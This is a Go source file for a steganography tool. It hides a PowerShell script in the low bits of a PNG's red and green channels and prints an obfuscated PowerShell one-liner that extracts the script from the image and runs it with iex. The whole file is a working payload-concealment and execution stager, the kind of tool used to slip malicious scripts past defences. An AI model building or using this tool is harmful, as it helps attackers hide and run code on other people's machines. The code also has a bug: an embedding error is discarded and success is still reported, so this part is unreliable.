package main

import (
    "flag"
    "fmt"
    "image"
    "image/color"
    "image/png"
    "os"
    "path/filepath"
)

func embedScriptInPNG(scriptPath, outPath, imagePath, execPath string) (string, error) {
    scriptBytes, err := os.ReadFile(scriptPath)
    if err != nil {
        return "", fmt.Errorf("[err] reading script file: %v\n", err)
    }
    if len(scriptBytes) == 0 {
        return "", fmt.Errorf("[err] script file is empty\n")
    }
    fmt.Printf("[inf] script size: %d bytes\n", len(scriptBytes))

    scriptPath, err = filepath.Abs(scriptPath)
    if err != nil {
        return "", fmt.Errorf("[err] resolving script path: %v\n", err)
    }
    imagePath, err = filepath.Abs(imagePath)
    if err != nil {
        return "", fmt.Errorf("[err] resolving image path: %v\n", err)
    }
    outPath, err = filepath.Abs(outPath)
    if err != nil {
        return "", fmt.Errorf("[err] resolving output path: %v\n", err)
    }

    file, err := os.Open(imagePath)
    if err != nil {
        return "", fmt.Errorf("[err] opening input png file: %v\n", err)
    }
    defer file.Close()
    stat, err := file.Stat()
    if err != nil {
        return "", fmt.Errorf("[err] getting file info: %v\n", err)
    }
    fmt.Printf("[inf] image size: %d bytes\n", stat.Size())
    img, err := png.Decode(file)
    if err != nil {
        return "", fmt.Errorf("[err] decoding png: %v\n", err)
    }
    bounds := img.Bounds()
    width, height := bounds.Max.X, bounds.Max.Y
    fmt.Printf("[inf] png dimensions: %dx%d\n", width, height)

    if len(scriptBytes) > width*height {
        return "", fmt.Errorf("[err] script too large (%d bytes) for png (%d pixels)\n", len(scriptBytes), width*height)
    }

    newImg := image.NewRGBA(image.Rect(0, 0, width, height))
    for y := 0; y < height; y++ {
        for x := 0; x < width; x++ {
            r, g, b, a := img.At(x, y).RGBA()
            newImg.SetRGBA(x, y, color.RGBA{
                R: uint8(r >> 8),
                G: uint8(g >> 8),
                B: uint8(b >> 8),
                A: uint8(a >> 8),
            })
        }
    }

    for y := 0; y < height; y++ {
        for x := 0; x < width; x++ {
            index := y*width + x
            if index < len(scriptBytes) {
                byteValue := scriptBytes[index]
                r, g, b, a := newImg.At(x, y).RGBA()
                newR := (r & 0xF0) | uint32(byteValue>>4)
                newG := (g & 0xF0) | uint32(byteValue&0x0F)
                newImg.SetRGBA(x, y, color.RGBA{
                    R: uint8(newR),
                    G: uint8(newG),
                    B: uint8(b),
                    A: uint8(a),
                })
            }
        }
    }

    outFile, err := os.Create(outPath)
    if err != nil {
        return "", fmt.Errorf("[err] creating output file: %v\n", err)
    }
    defer outFile.Close()
    if err := png.Encode(outFile, newImg); err != nil {
        return "", fmt.Errorf("[err] encoding png: %v\n", err)
    }
    fmt.Printf("[inf] created output file: %s\n", outPath)

    psCmd := fmt.Sprintf(
        `sal a new-object;add-type -a system.drawing;$g=a system.drawing.bitmap("%s");$o=a byte[] %d;(0..%d)|%%{foreach($x in 0..%d) {$p=$g.getpixel($x,$_);$o[$_*%d+$x]=[math]::floor(($p.r -band 0x0f)*16) + ($p.g -band 0x0f);}};$g.dispose();iex([system.text.encoding]::ascii.getstring($o[0..%d]))`,
        execPath, width*height, height-1, width-1, width, len(scriptBytes)-1)

    return psCmd, nil
}

func main() {
    imagePath := flag.String("image", "", "input png file")
    scriptPath := flag.String("script", "", "powershell script file to embed")
    execPath := flag.String("exec", "", "execution path for decoder")
    outPath := flag.String("out", "", "output png file")
    flag.Parse()

    if *scriptPath == "" || *outPath == "" || *imagePath == "" || *execPath == "" {
        fmt.Println("go implementation to embed powershell scripts into png images using steganography")
        fmt.Println("use the powershell one-liner to decode and iex the embedded script")
        flag.PrintDefaults()
        os.Exit(1)
    }

    psCmd, err := embedScriptInPNG(*scriptPath, *outPath, *imagePath, *execPath)
    if err != nil {
        fmt.Errorf("[err] failed to embed script: %v", err)
    }

    fmt.Printf("[inf] successfully embedded %s into %s\n", *scriptPath, *outPath)
    fmt.Printf("[inf] powershell decoder snippet:\n")
    fmt.Println(psCmd)
}